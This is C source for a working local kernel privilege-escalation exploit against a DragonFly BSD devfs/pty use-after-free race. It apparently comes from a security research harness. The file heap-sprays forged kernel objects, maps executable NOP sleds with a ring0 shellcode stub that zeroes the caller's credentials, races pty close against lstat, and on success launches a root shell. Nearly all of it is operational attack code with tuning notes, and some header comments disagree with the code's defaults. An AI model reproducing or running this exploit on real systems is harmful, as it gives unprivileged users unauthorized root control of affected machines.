/*
 * DF-3017 x DF-2694 COMPOSED CHAIN v3 — unprivileged -> uid=0
 * (stock INVARIANTS kernel, 2-vCPU instantiation, no SMAP/SMEP/KASLR)
 *
 * v3 = the DECOUPLED-CORNER design.  The v2 rig (df3017c) lost the
 * per-hit lottery to the objcache magazine pipeline: with balanced
 * open/close churn the per-cpu magazine+depot occupancy is a
 * birth-death random walk over ~220 slots (2 mags x22 per cpu + 6
 * depot mags), so the kern_objcache.c:706 "no empty magazine" corner
 * (kfree DIRECT into the slab zone) fires for only ~1/220 of event
 * frees — the rest are magazine-recycled with SRF_PUTAWAY still set,
 * and the raced victim dies on the sysref_get KKASSERT.
 *
 * v3 removes the walk entirely:
 *
 *   Phase PARK : open E_TOTAL event ptys up front (all cdev/node
 *                objcache GETs happen here, on cpu0).  Record units.
 *   Phase ARM  : open+close-burst ARM_N extra ptys — >=220 puts per
 *                cache on cpu0 fill both per-cpu magazines and all 6
 *                depot magazines; every further put takes the corner
 *                and kfree()s directly into the cpu0 slab zone heads.
 *   Phase TICKET: close-ONLY.  No thread of ours allocates from the
 *                cdev/node caches again, so the magazines stay full
 *                and the corner stays armed for the whole phase:
 *                EVERY node and cdev free of every event kfree()s to
 *                its zone's free-list head (kern_slaballoc.c local
 *                free), where the spinning writev hammers pop it,
 *                copyin() the forged image, and free it back — head
 *                re-imaged every ~1-2us.
 *
 * Tickets: batches of BATCH fresh units are announced to the lstat
 * victims; the conductor closes unit i at announce + 60us + i*60us +
 * jitter(0..600us) — sweeping the close across the victims' first-
 * resolve window (devfs_allocv's devfs_lock drop across getnewvnode,
 * ~30-100us) so each unit is one window-A lottery ticket *with the
 * magazine coin already won*: the raced node chunk is slab-freed and
 * imaged before the victim re-acquires devfs_lock.
 *
 * Winning draw (any of):
 *   (a) node chunk imaged (our 240B dual-role node image): kfree wrote
 *       the zone freelist link at chunk+0 = devfs_node.d_dev, so d_dev
 *       points at the NEXT freed 240-chunk N — which the node hammer
 *       has also imaged: N+168 si_ops = FAKEOPS (0x40000000, userspace
 *       fake dev_ops, D_DISK|D_MPSAFE|D_QUICK), N+232 sysref = 0x21
 *       (refcnt 33, SRF_PUTAWAY clear), N+80 si_hlist = NULL.
 *   (b) node chunk reclaimed by junk whose +0 (d_dev) is a user
 *       pointer inside the sprayed ranges: the UNIFORM V2 OPS-SPRAY
 *       (every qword = 0x0000000240000100, 0x60000000+256MB and
 *       0x08000000+32MB, pre-faulted) makes si_ops->head.flags@+12
 *       read D_DISK and si_ops->d_ioctl@+72 read 0x240000100 — a
 *       canonical user address holding the ring0 cred-zeroing stub.
 *   (c) stale node -> d_dev = the real event cdev X, which was freed
 *       (corner, slab head) and re-imaged (320B cdev image) before
 *       the read.
 *
 * Then: reference_dev/deref chain passes (v_associate_rdev,
 * devfs_core.c:377), the victim caches the poisoned vnode
 * (cache_setvp), and its own lstat continues into
 * devfs_vop_getattr's D_DISK branch -> dev_dioctl ->
 * `call *dev->si_ops->d_ioctl` (dispatch.trace.txt — the exact site
 * demonstrated in the v2 session) -> our ring0 stub:
 *     gs:0 -> gd_curthread -> td_proc -> p_ucred ->
 *     cr_uid/cr_ruid/cr_svuid/cr_groups = 0  =>  uid=0
 * -> WIN: /dev/console marker + /tmp/df3017.root + execve("/bin/sh").
 *
 * usage: df3017d [secs [E_TOTAL [ARM_N [BATCH]]]]   (default 180 360 150 12)
 */
#include <sys/param.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/sysctl.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/usched.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

#ifndef USCHED_DEL_CPU
#define USCHED_DEL_CPU 3
#endif

/* ---- kernel layout (DWARF-verified on the running stock kernel) */
#define CDEV_SI_UMINOR     48
#define CDEV_SI_HLIST      80
#define CDEV_SI_OPS        168
#define CDEV_SI_IOSIZE_MAX 184
#define CDEV_SYSREF_REFCNT 232	/* low 32 = refcnt, high 32 = flags */
#define SRF_ALLOCATED      0x0002
#define SRF_PUTAWAY        0x0004

#define D_DISK    0x0002
#define D_MPSAFE  0x00400000
#define D_QUICK   0x01000000

#define OPS_HEAD_FLAGS 12
#define OPS_D_OPEN     40
#define OPS_D_CLOSE    48
#define OPS_D_IOCTL    72

#define FAKEOPS_BASE  0x40000000UL
#define SC_ADDR       0x40000100UL
#define STUB_ADDR     0x40000200UL
#define JUNK_BASE     0x40001000UL
#define FAKECDEV_BASE 0x40010000UL	/* userspace fake cdev (no SMAP) */

/*
 * V2 OPS-SPRAY (geometry fixed after the 2026-10-17 r=7 dispatch):
 * uniform qword V = 0x000000022F000100 — high dword 0x00000002 =
 * D_DISK (the v3-a build dropped this digit; its draw still reached
 * the call via V's byte3=0x2F and died at the unmapped V<<8 target).
 *   aligned junk si_ops (r=0 mod 8): flags@+12 = 2 (D_DISK),
 *     d_ioctl@+72 = V = 0x22F000100 -> stub (page 0x22F000000+0x100)
 *   r=7: d_ioctl = V<<8 = 0x22F00010000 -> stub at page offset 0;
 *     flags@+12 = 0x22F (D_DISK set)
 *   r=1/2/3: d_ioctl = V>>8k (0x22F0001 / 0x22F00 / 0x22F) -> the
 *     low RWX NOP-sled with stub copies every 128 bytes; flags
 *     reads land without D_DISK -> benign (no dispatch)
 *   r=4/5: V<<32/V<<24 non-canonical -> #GP (accepted residual)
 */
#define SPRAY_V     0x000000022F000100UL
#define VSTUB_PAGE  0x22F000000UL
#define VSTUB_ADDR  0x22F000100UL
#define VSTUB7_PAGE 0x22F00010000UL	/* r=7 target, offset 0 */
#define SLED_LO     0x1000UL		/* low misalignment sled */
#define SLED_HI     0x2400000UL

struct sprayrange { unsigned long base, len; };
static const struct sprayrange sprays[] = {
	{ 0x60000000UL, 0x10000000UL },
	{ 0x08000000UL, 0x02000000UL },
	{ 0, 0 }
};

/* struct devfs_node offsets (DWARF-verified) */
#define NODE_DDEV     0
#define NODE_MP       8
#define NODE_VNODE    0x28
#define NODE_PARENT   0x30
#define NODE_TYPE     0x38
#define NODE_MODE     0x80
#define NODE_UID      0x84
#define NODEV_NDEV    4			/* enum devfs_nodetype Ndev */

#define E_TOTAL_D 700		/* pre-opened event ptys (ticket pool) */
#define ARM_N_D   150		/* arm-phase ptys (>=110 closes fills
				 * both mags + 6 depot mags per cache) */
#define BATCH_D   12
#define BATCH_DEF 4		/* units per ticket batch */
#define NHAMMER   1		/* 320B cdev-image spin hammers (cpu0) */
#define NNODEHAM  1		/* 240B node-image spin hammers (cpu0) */
#define NVICTIM   8		/* lstat victims (floating) */

static int E_TOTAL = E_TOTAL_D;
static int ARM_N   = ARM_N_D;
static int BATCH   = BATCH_DEF;
static int NCPU = 2;
static volatile int stop, win;
static unsigned char image[320];
static unsigned char nimage[240];	/* forged devfs_node (15 iovs) */
static int node_armed;
static unsigned long leak_mp;
static long n_tickets, n_marks;
static volatile int n_fails;
static volatile int n_cstats;
static int probe_unit(char *tag, int unit)
{
	struct stat st;
	char p[32];
	int rc;
	snprintf(p, sizeof(p), "/dev/pts/%d", unit);
	rc = lstat(p, &st);
	fprintf(stderr, "[PROBE]%s unit %d rc=%d errno=%d\n",
	    tag, unit, rc, errno);
	return rc;
}
static volatile int n_vdumps;

struct evrec { int fd; int unit; };
static struct evrec evs[E_TOTAL_D * 2];
static int nevs;

/* announce slots: victims lstat active units; resolved_us is stamped
 * by the first victim whose lstat succeeds (first-resolve timing) */
struct ann { volatile long long until_us; volatile int unit;
	volatile long long resolved_us; volatile long long died_us;
	volatile long long closed_us; };
static struct ann anns[BATCH_D];
static volatile int ann_active;
static volatile long long victim_hb;

static double
now_us(void)
{
	struct timespec ts;
	clock_gettime(CLOCK_MONOTONIC, &ts);
	return ((double)ts.tv_sec * 1e6 + (double)ts.tv_nsec / 1e3);
}

static void
pin_keep_cpu(int keep)
{
	int c;
	for (c = 0; c < NCPU; c++) {
		if (c == keep)
			continue;
		usched_set(0, USCHED_DEL_CPU, &c, sizeof(c));
	}
}

/* ring0 stub: gs:0 -> gd_curthread(+8) -> td_proc(+0xa8) -> p_ucred(+0x10)
 * cr_uid(+0x40)=0 cr_ruid(+0xa0)=0 cr_svuid(+0xa4)=0
 * cr_ngroups(+0x44)=1 cr_groups[0](+0x48)=0 ; xor eax,eax ; ret */
static const unsigned char sc_bytes[] = {
	0x65, 0x48, 0x8b, 0x04, 0x25, 0x00, 0x00, 0x00, 0x00,
	0x48, 0x8b, 0x40, 0x08,
	0x48, 0x8b, 0x88, 0xa8, 0x00, 0x00, 0x00,
	0x48, 0x85, 0xc9,
	0x75, 0x10,
	0x48, 0x8b, 0x88, 0xa0, 0x00, 0x00, 0x00,
	0x48, 0x8b, 0x49, 0x30,
	0x90, 0x90, 0x90, 0x90, 0x90,
	0x48, 0x8b, 0x49, 0x10,
	0xc7, 0x41, 0x40, 0x00, 0x00, 0x00, 0x00,
	0xc7, 0x81, 0xa0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0xc7, 0x81, 0xa4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0xc7, 0x81, 0x44, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
	0xc7, 0x81, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x31, 0xc0,
	0xc3,
};
static const unsigned char stub_bytes[] = { 0x31, 0xc0, 0xc3 };

static void put64(void *p, size_t o, uint64_t v) { memcpy((unsigned char *)p + o, &v, 8); }
static void put32(void *p, size_t o, uint32_t v) { memcpy((unsigned char *)p + o, &v, 4); }

static void
map_payload(void)
{
	void *p;
	int i;

	p = mmap((void *)FAKEOPS_BASE, 0x4000,
		 PROT_READ | PROT_WRITE | PROT_EXEC,
		 MAP_FIXED | MAP_PRIVATE | MAP_ANON, -1, 0);
	if (p != (void *)FAKEOPS_BASE) { perror("mmap fakeops"); exit(2); }
	p = mmap((void *)JUNK_BASE, 0x20000, PROT_READ | PROT_WRITE,
		 MAP_FIXED | MAP_PRIVATE | MAP_ANON, -1, 0);
	if (p != (void *)JUNK_BASE) { perror("mmap junk"); exit(2); }
	for (i = 0; i < 0x20000 / 4096; i++)
		((volatile unsigned char *)JUNK_BASE)[i * 4096] = 1;

	/* v2-spray stub pages: aligned (r=0) and +8-misaligned (r=7)
	 * junk si_ops both reach a ring0 stub copy */
	p = mmap((void *)VSTUB_PAGE, 0x1000,
		 PROT_READ | PROT_WRITE | PROT_EXEC,
		 MAP_FIXED | MAP_PRIVATE | MAP_ANON, -1, 0);
	if (p != (void *)VSTUB_PAGE) { perror("mmap vstub"); exit(2); }
	memcpy((void *)VSTUB_ADDR, sc_bytes, sizeof(sc_bytes));
	p = mmap((void *)VSTUB7_PAGE, 0x1000,
		 PROT_READ | PROT_WRITE | PROT_EXEC,
		 MAP_FIXED | MAP_PRIVATE | MAP_ANON, -1, 0);
	if (p != (void *)VSTUB7_PAGE) { perror("mmap vstub7"); exit(2); }
	memcpy((void *)VSTUB7_PAGE, sc_bytes, sizeof(sc_bytes));

	put32((void *)FAKEOPS_BASE, OPS_HEAD_FLAGS,
	      D_DISK | D_MPSAFE | D_QUICK);
	put64((void *)FAKEOPS_BASE, OPS_D_OPEN,  SC_ADDR);
	put64((void *)FAKEOPS_BASE, OPS_D_CLOSE, STUB_ADDR);
	put64((void *)FAKEOPS_BASE, OPS_D_IOCTL, SC_ADDR);
	put64((void *)FAKEOPS_BASE, 32, STUB_ADDR);
	put64((void *)FAKEOPS_BASE, 56, STUB_ADDR);
	put64((void *)FAKEOPS_BASE, 64, STUB_ADDR);
	put64((void *)FAKEOPS_BASE, 80, STUB_ADDR);
	p = mmap((void *)FAKECDEV_BASE, 0x1000,
		 PROT_READ | PROT_WRITE,
		 MAP_FIXED | MAP_PRIVATE | MAP_ANON, -1, 0);
	if (p != (void *)FAKECDEV_BASE) { perror("mmap fakecdev"); exit(2); }

	{
		unsigned char fc[320];
		memset(fc, 0, sizeof(fc));
		put32(fc, CDEV_SI_UMINOR, 0x1337);
		strcpy((char *)fc + 88, "pts/31337");
		put64(fc, CDEV_SI_OPS, FAKEOPS_BASE);
		put64(fc, CDEV_SI_IOSIZE_MAX, 0x10000);
		put64(fc, CDEV_SYSREF_REFCNT, 0x21);
		memcpy((void *)FAKECDEV_BASE, fc, sizeof(fc));
	}
	memcpy((void *)SC_ADDR, sc_bytes, sizeof(sc_bytes));
	memcpy((void *)STUB_ADDR, stub_bytes, sizeof(stub_bytes));

	/* V2 UNIFORM ops-spray: every qword = SPRAY_V, pre-faulted */
	{
		const struct sprayrange *sr;
		for (sr = sprays; sr->len; sr++) {
			unsigned long *q = mmap((void *)sr->base, sr->len,
			    PROT_READ | PROT_WRITE,
			    MAP_FIXED | MAP_PRIVATE | MAP_ANON, -1, 0);
			unsigned long i, n = sr->len / 8;
			if (q != (unsigned long *)sr->base) {
				perror("mmap spray");
				continue;
			}
			for (i = 0; i < n; i++)
				q[i] = SPRAY_V;
			printf("spray v2 uniform %#lx+%#lx armed\n",
			    sr->base, sr->len);
		}
	}

	/* LOW MISALIGNMENT SLED: byte-shifted junk si_ops reads yield
	 * small targets (V>>8k = 0x22F0001 / 0x22F00 / 0x22F); a RWX
	 * region of NOPs with a stub copy every 128 bytes slides any
	 * landing into the cred-zeroing stub.  SPLIT around the program
	 * image at 0x400000 (a single MAP_FIXED over it kills the
	 * binary — measured the hard way). */
	{
		const struct { unsigned long lo, hi; } sleds[] = {
			{ 0x1000UL,   0x3ff000UL },
			{ 0x1000000UL, 0x2400000UL },
			{ 0, 0 }
		};
		int si2;
		for (si2 = 0; sleds[si2].hi; si2++) {
			unsigned long lo = sleds[si2].lo, hi = sleds[si2].hi;
			unsigned char *s = mmap((void *)lo, hi - lo,
			    PROT_READ | PROT_WRITE | PROT_EXEC,
			    MAP_FIXED | MAP_PRIVATE | MAP_ANON, -1, 0);
			if (s != (unsigned char *)lo) {
				perror("mmap sled");
				continue;
			}
			{
				unsigned long o;
				size_t k;
				for (o = 0; o + 128 <= hi - lo; o += 128) {
					for (k = 0; k < 128 - sizeof(sc_bytes); k++)
						s[o + k] = 0x90;
					memcpy(s + o + 128 - sizeof(sc_bytes),
					    sc_bytes, sizeof(sc_bytes));
				}
			}
			printf("low sled %#lx-%#lx armed\n", lo, hi);
		}
	}
}

/* Load the node template harvested via the DF-2694 recon stage
 * (read primitive; gdbstub walk in the forensic harness): a freed
 * pts devfs_node carries the REAL devfs mount pointer (mp) and the
 * Ndev type.  mp must stay real: devfs_allocv reads
 * &node->mp->mnt_vn_spec_ops AFTER the chunk is imaged. */
static void
build_node_image(void)
{
	FILE *f;
	static unsigned char tpl[240];
	int ok = 0;

	f = fopen("/tmp/recon.node.tpl", "r");
	if (f) {
		if (fread(tpl, 1, 232, f) == 232)
			ok = 1;
		fclose(f);
	}
	if (ok) {
		memcpy(nimage, tpl, 232);
		memset(nimage + 232, 0, 8);
		leak_mp = *(unsigned long *)(nimage + NODE_MP);
		if ((leak_mp >> 48) != 0xffff || leak_mp == 0)
			ok = 0;
		if (*(int *)(nimage + NODE_TYPE) != NODEV_NDEV)
			ok = 0;		/* template must be a Ndev node */
	}
	if (!ok) {
		memset(nimage, 0, sizeof(nimage));
		*(int *)(nimage + NODE_TYPE) = NODEV_NDEV;
		*(unsigned short *)(nimage + NODE_MODE) = 0620;
	}
	/*
	 * THE DUAL-ROLE IMAGE.  kfree() writes the zone freelist link at
	 * chunk offset 0 (kern_slaballoc.c) = devfs_node.d_dev.  A freed
	 * imaged node therefore shows d_dev = N, the next freed chunk on
	 * the 240B list — so the image is forged to ALSO be a complete
	 * fake cdev for whichever imaged chunk the link chases to:
	 *   N + 168 (si_ops)   = FAKEOPS_BASE
	 *   N + 232 (sysref)   = refcnt 0x21, flags 0 (PUTAWAY clear)
	 *   N + 80  (si_hlist) = NULL (v_associate_rdev SLIST insert)
	 */
	put64(nimage, NODE_DDEV, 0);	/* clobbered by the free link */
	put64(nimage, NODE_VNODE, 0);
	put64(nimage + 168, 0, FAKEOPS_BASE);	/* cdev role: si_ops */
	put64(nimage + 232, 0, 0x21);		/* cdev role: sysref */
	put64(nimage + 80, 0, 0);		/* cdev role: si_hlist */
	put64(nimage + 0xc8, 0, 0);			/* link.tqe_next */
	put64(nimage + 0xc8, 8, 0);			/* link.tqe_prev */
	put64(nimage + 0xd8, 0, 0);			/* list.tqh_first */
	put64(nimage + 0xd8, 8, 0);			/* list.tqh_last */
	node_armed = ok;
}

static void
build_images(void)
{
	memset(image, 0, sizeof(image));
	put32(image, CDEV_SI_UMINOR, 0x1337);
	put64(image, CDEV_SI_OPS, FAKEOPS_BASE);
	put64(image, CDEV_SI_IOSIZE_MAX, 0x10000);
	put64(image, CDEV_SYSREF_REFCNT, 0x21);	/* refcnt=0x21 flags=0 */
	put64(image, 32, JUNK_BASE);
	put64(image, 40, 0x0000010000000000UL);
}

/* ------------------------- rig threads ------------------------- */

extern char *ptsname(int);

static int
pty_unit_of(int fd)
{
	const char *t;

	t = ptsname(fd);
	if (t && strncmp(t, "/dev/pts/", 9) == 0)
		return atoi(t + 9);
	t = ttyname(fd);
	if (t && strncmp(t, "/dev/pts/", 9) == 0)
		return atoi(t + 9);
	return -1;
}

/* victim: lstat every announced live unit.  First resolve of a fresh
 * unit enters devfs_vop_nresolve -> devfs_allocv -> devfs_lock drop
 * across getnewvnode — the DF-3017 window-A race.  The survivor's own
 * lstat then continues into devfs_vop_getattr on the cached poisoned
 * vnode -> D_DISK branch -> dev_dioctl -> ring0 stub -> uid=0. */
static void *
statloop(void *arg __unused)
{
	struct stat st;
	char path[32];
	int i;

	for (;;) {
		if (stop || win)
			return NULL;
		if (!ann_active) {
			usleep(50);
			continue;
		}
		long long now = (long long)now_us();
		victim_hb++;
		if (n_vdumps < 12) {
			n_vdumps++;
			fprintf(stderr, "[VDUMP] ann=%d now=%lld s0:u=%lld unit=%d died=%lld\n",
			    ann_active, now, (long long)anns[0].until_us,
			    anns[0].unit, (long long)anns[0].died_us);
		}
		for (i = 0; i < BATCH; i++) {
			long long until = anns[i].until_us;
			if (until < now)
				continue;
			int u = anns[i].unit;
			if (u < 0)
				continue;
			snprintf(path, sizeof(path), "/dev/pts/%d", u);
			if (lstat(path, &st) == 0) {
				if (anns[i].resolved_us == 0)
					anns[i].resolved_us = (long long)now_us();
				anns[i].died_us = 0;
				/* forged signature: si_uminor=0x1337 from the
				 * image shows up in st_rdev when the victim
				 * associated the poisoned vnode */
				if ((st.st_rdev & 0xfffff) == 0x1337) {
					printf("[MARK] unit %d st_rdev minor "
					    "0x1337 -- vnode POISONED\n", u);
					fflush(stdout);
					n_marks++;
				}
			} else {
				/* destroyed before ever being resolved
				 * (or mid-window): mark dead — retrying
				 * ENOENT walks (~25us each) starves the
				 * sweep cadence */
				anns[i].died_us = (long long)now_us();
			}
			if (win || stop)
				return NULL;
		}
		if (getuid() == 0) {
			win = 1;
			return NULL;
		}
	}
	return NULL;
}

/* hammer: EPIPE writev = kmalloc(320)+copyin(image)+kfree; keeps the
 * cpu0 320B zone free-list head armed with the weapon cdev image. */
static void *
hammer(void *arg __unused)
{
	int pfd[2];
	long iter = 0;

	pin_keep_cpu(0);
	if (pipe(pfd) != 0)
		return NULL;
	close(pfd[0]);
	while (!stop && !win) {
		writev(pfd[1], (struct iovec *)image, 20);
		if (++iter % 512 == 0) {
			sched_yield();
			if (getuid() == 0) { win = 1; break; }
		}
	}
	return NULL;
}

/* node hammer: 15-iovec EPIPE writev = kmalloc(240)+copyin(nimage)+
 * kfree — the 240B class is the devfs_node zone.  Keeps the freed
 * node free-list head armed with the forged dual-role node image. */
static void *
nodehammer(void *arg __unused)
{
	int pfd[2];
	long iter = 0;

	pin_keep_cpu(0);
	if (pipe(pfd) != 0)
		return NULL;
	close(pfd[0]);
	while (!stop && !win) {
		writev(pfd[1], (struct iovec *)nimage, 15);
		if (++iter % 512 == 0) {
			sched_yield();
			if (getuid() == 0) { win = 1; break; }
		}
	}
	return NULL;
}

/* ------------------------- conductor ------------------------- */

static void
win_shutdown(void)
{
	int fd;

	printf("WIN: getuid()=%d geteuid()=%d\n", getuid(), geteuid());
	fflush(stdout);
	fd = open("/tmp/df3017.root", O_CREAT | O_WRONLY | O_TRUNC, 0666);
	if (fd >= 0) {
		dprintf(fd, "uid=0 via DF-3017 x DF-2694 chain (v3 corner)\n");
		close(fd);
	}
	fd = open("/tmp/df3017.uid0", O_CREAT | O_WRONLY | O_TRUNC, 0666);
	if (fd >= 0) {
		dprintf(fd, "tickets=%ld marks=%ld uid=%d\n",
		    n_tickets, n_marks, getuid());
		close(fd);
	}
	/* serial-console marker: the host driver watches the serial log */
	fd = open("/dev/console", O_WRONLY);
	if (fd >= 0) {
		dprintf(fd, "\nDF3017-CHAIN-WON uid=0 euid=0 tickets=%ld "
		    "marks=%ld\n", n_tickets, n_marks);
		close(fd);
	}
}

static int
open_event(int *unitp)
{
	int fd = open("/dev/ptmx", O_RDWR | O_NOCTTY);
	if (fd < 0)
		return -1;
	*unitp = pty_unit_of(fd);
	return fd;
}

int
main(int argc, char **argv)
{
	int secs = 180, i, hold_ms = 0;
	pthread_t th[32];
	int nth = 0;
	double t_start, t_ann;
	struct rlimit rl;

	if (argc > 1) secs    = atoi(argv[1]);
	if (argc > 2) E_TOTAL = atoi(argv[2]);
	if (argc > 3) ARM_N   = atoi(argv[3]);
	if (argc > 4) BATCH   = atoi(argv[4]);
	if (argc > 5) hold_ms = atoi(argv[5]);
	if (E_TOTAL > (int)(sizeof(evs) / sizeof(evs[0])))
		E_TOTAL = (int)(sizeof(evs) / sizeof(evs[0]));
	if (ARM_N > ARM_N_D * 2)
		ARM_N = ARM_N_D * 2;
	if (BATCH > BATCH_D)
		BATCH = BATCH_D;
	{
		size_t sz = sizeof(NCPU);
		if (sysctlbyname("hw.ncpu", &NCPU, &sz, NULL, 0) != 0)
			NCPU = 2;
	}

	getrlimit(RLIMIT_NOFILE, &rl);
	rl.rlim_cur = rl.rlim_max > 4096 ? 4096 : rl.rlim_max;
	setrlimit(RLIMIT_NOFILE, &rl);

	signal(SIGPIPE, SIG_IGN);
	setvbuf(stdout, NULL, _IONBF, 0);
	map_payload();
	build_images();
	build_node_image();
	printf("DF-3017x2694 chain v3 DECOUPLED-CORNER: uid=%d ncpu=%d "
	    "secs=%d E=%d ARM=%d BATCH=%d node-image %s (mp=%#lx)\n",
	    getuid(), NCPU, secs, E_TOTAL, ARM_N, BATCH,
	    node_armed ? "ARMED" : "unarmed(mp-missing)", leak_mp);
	fflush(stdout);
	sleep(3);	/* let the launch ssh session drain away */

	/* victims FIRST: inherit the unrestricted mask (float on any cpu) */
	for (i = 0; i < NVICTIM; i++)
		pthread_create(&th[nth++], NULL, statloop, NULL);

	pin_keep_cpu(0);
	printf("conductor pinned to cpu0\n");
	fflush(stdout);

	/* ---- Phase PARK: open the event pool first.  CRITICAL: the
	 * park must be alive across the ARM close-burst — DragonFly
	 * tears the whole /dev/pts subtree down when the open-pty
	 * count transiently hits 0, and the victims lstat /dev/pts/N
	 * (measured the hard way).  Park first also claims the units. */
	{
		int room = 1000 - ARM_N;
		if (E_TOTAL > room)
			E_TOTAL = room;
	}
	for (i = 0; i < E_TOTAL; i++) {
		int u;
		int fd = open_event(&u);
		if (fd < 0)
			break;
		evs[nevs].fd = fd;
		evs[nevs].unit = u;
		nevs++;
	}
	printf("parked %d event ptys (unit0=%d)\n", nevs,
	    nevs ? evs[0].unit : -1);
	fflush(stdout);

	/* ---- Phase ARM (park alive, so the pty count never hits 0):
	 * open ARM_N more (park+arm stays under the ~1024 pty cap),
	 * then close-burst them — >=220 puts per cache on cpu0 fill
	 * both per-cpu magazines and the depot; from the last one on,
	 * every put takes the kern_objcache.c corner and kfree()s
	 * directly into the cpu0 slab zone (LIFO head). */
	{
		int armfd[ARM_N_D * 2];
		int narm = 0;
		for (i = 0; i < ARM_N; i++) {
			int u;
			int fd = open_event(&u);
			if (fd < 0)
				break;
			armfd[narm++] = fd;
		}
		usleep(5000);
		for (i = 0; i < narm; i++)
			close(armfd[i]);	/* async destroy msgs */
		n_tickets += narm;
		printf("armed: %d arm closes queued (corner)\n", narm);
		fflush(stdout);
	}
	usleep(150000);		/* core thread drains the destroy queue */

	/* PARK-VISIBILITY GATE: the 850 park creates are ASYNC devfs
	 * msgs; do not start the race until the core thread has
	 * actually materialized the nodes (otherwise every victim
	 * lstat is ENOENT and no window ever opens). */
	{
		struct stat st;
		char gpath[32];
		int tries = 0;
		snprintf(gpath, sizeof(gpath), "/dev/pts/%d",
		    evs[nevs - 1].unit);
		while (lstat(gpath, &st) != 0 && tries++ < 400)
			usleep(5000);
		printf("park visible after %d tries (%s)\n", tries, gpath);
		fflush(stdout);
	}

	/* hammers ONLY from ticket time: running them during park/arm
	 * starves the devfs core thread on cpu0 and backs up the
	 * async create/destroy queue by seconds (measured: victims
	 * never saw a single live node). */
	probe_unit(":pre-hammer", 800);
	for (i = 0; i < NHAMMER; i++)
		pthread_create(&th[nth++], NULL, hammer, NULL);
	for (i = 0; i < NNODEHAM; i++)
		pthread_create(&th[nth++], NULL, nodehammer, NULL);
	usleep(50000);		/* hammers warm up */
	probe_unit(":post-hammer", 800);

	if (hold_ms > 0) {
		printf("HOLDING %dms for external inspection (units %d..%d)\n",
		    hold_ms, nevs ? evs[0].unit : -1,
		    nevs ? evs[nevs - 1].unit : -1);
		fflush(stdout);
		usleep((useconds_t)hold_ms * 1000);
	}

	/* ---- Phase TICKET: close-ONLY from here on (no GETs on cpu0 =>
	 * corner stays armed for the whole phase).  Single pass over the
	 * pool in batches; each unit is closed exactly once. */
	t_start = now_us();
	{
		int base;
		for (base = 0; base + BATCH <= nevs && !win; base += BATCH) {
			double delays[BATCH_D];
			if ((now_us() - t_start) / 1e6 >= secs)
				break;
			/* ANNOUNCE FIRST, THEN CLOSE: the pts node becomes
			 * unresolvable INSTANTLY at close(fd) (the
			 * synchronous DEVFS_INVISIBLE pty magic in
			 * devfs_spec_close, vnops.c:1178 — measured with
			 * in-process probes), so the victims must already
			 * be resolving when the close fires:
			 *   window A: a victim inside devfs_allocv's
			 *     devfs_lock drop (getnewvnode) when the
			 *     destroy worker takes the lock in the drop;
			 *   window B: a victim's cached-vp lstat in
			 *     getattr (lockless) across the freep —
			 *     every sweep between close and cache_inval.
			 * Close slot i at announce + (20 + i*50 +
			 * jitter 0..250)us — the destroy/freep lands
			 * inside the victims' first-resolve + sweep
			 * band. */
			t_ann = now_us();
			ann_active = 0;
			for (i = 0; i < BATCH; i++) {
				anns[i].unit = -1;
				anns[i].resolved_us = 0;
				anns[i].died_us = 0;
				anns[i].closed_us = 0;
				__asm__ __volatile__ ("mfence" ::: "memory");
				anns[i].until_us = 0;
				__asm__ __volatile__ ("mfence" ::: "memory");
				anns[i].unit = evs[base + i].unit;
				anns[i].until_us = (long long)t_ann + 12000;
			}
			ann_active = 1;
			{
				double c_at[BATCH_D];
				for (i = 0; i < BATCH; i++) {
					unsigned r = (unsigned)(now_us() +
					    i * 131 + n_tickets);
					double t_close = t_ann + 10.0 +
					    i * 25.0 + (r % 60);
					while (now_us() < t_close && !win) {
						double rem =
						    t_close - now_us();
						if (rem > 120.0)
							usleep(50);
					}
					if (win)
						break;
					close(evs[base + i].fd);
					c_at[i] = now_us() - t_ann;
					n_tickets++;
				}
				for (i = 0; i < BATCH; i++)
					anns[i].closed_us = (long long)c_at[i];
			}
			/* let the destroys process + windows play out */
			{
				double t_end = now_us() + 8000.0;
				while (now_us() < t_end && !win)
					usleep(200);
			}
			ann_active = 0;
			/* tuning telemetry: where did first resolves land
			 * relative to announce, and to the closes? */
			if ((n_tickets / BATCH) % 8 == 1) {
				printf("[%5.1fs] tk=%ld hb=%lld batch@+%dus:",
				    (now_us() - t_start) / 1e6, n_tickets,
				    victim_hb, base);
				for (i = 0; i < BATCH; i++) {
					long long rr = anns[i].resolved_us;
					long long dd = anns[i].died_us;
					long long cc = anns[i].closed_us;
					printf(" r%+lld",
					    rr ? rr - (long long)t_ann : -999L);
					printf("/c%+lld", cc ? cc : -999L);
					printf("/d%+lld",
					    dd ? dd - (long long)t_ann : -999L);
				}
				printf("\n");
			}
			for (i = 0; i < BATCH; i++)
				anns[i].until_us = 0;
			if (getuid() == 0)
				win = 1;
			usleep(6000);	/* batch spacing */
		}
	}

	printf("ticket phase done (%s after %.1fs, tickets=%ld marks=%ld)\n",
	    win ? "WIN" : "exhausted/timeout",
	    (now_us() - t_start) / 1e6, n_tickets, n_marks);
	fflush(stdout);

	if (win) {
		stop = 1;
		for (i = 0; i < nth; i++) {
			void *rv;
			struct timespec ts = { 0, 50 * 1000 * 1000 };
			pthread_timedjoin_np(th[i], &rv, &ts);
		}
		win_shutdown();
		execl("/bin/sh", "sh", "-c",
		      "id; echo uid0-shell-ok; "
		      "id > /tmp/df3017.id; "
		      "echo PWNED-DF3017-CHAIN > /tmp/df3017.root", NULL);
		/* not reached on success */
	}
	stop = 1;
	for (i = 0; i < nth; i++) {
		void *rv;
		struct timespec ts = { 0, 50 * 1000 * 1000 };
		pthread_timedjoin_np(th[i], &rv, &ts);
	}
	return win ? 0 : 1;
}
